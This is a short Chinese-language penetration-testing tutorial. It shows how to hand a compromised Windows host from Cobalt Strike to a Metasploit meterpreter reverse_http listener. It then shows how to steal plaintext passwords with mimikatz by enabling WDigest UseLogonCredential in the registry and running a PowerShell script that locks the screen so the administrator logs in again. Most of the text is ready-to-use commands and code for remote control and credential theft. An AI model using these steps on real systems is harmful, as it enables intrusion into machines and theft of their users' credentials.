cs传递shell给msf
cs有一台上线主机:
1.msf开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(注:这里是http,与cs上线的监听器一致)
set lhost 本机ip
set lport 自己的端口号
run
2.cs添加监听器
选择foreign http
右键点击spawn,对上线主机选择msf监听器:
然后msf就上线了:
mimikatz抓明文密码
有一台上线主机,运行mimikatz:
密码是null,是官方修改的。本来mimikatz是可以抓明文的,mimikatz抓明文原理:
windows输入密码的进程是winlogon.exe,然后输入密码后给到lsass.exe这个进程,这个进程会存储一份明文再内存中,ntlmv2加密后发一份给sma文件,mimikatz就抓内存中的明文。
修改注册表
上传一个锁屏脚本,管理员重新输入密码后可以抓明文:
shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
然后把这个脚本上传到目标机:
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
上传:
执行:
shell powershell -file c:\aaa.ps1
正常情况管理员会登录,就可以再用mimicatz抓密码,此时就是明文密码。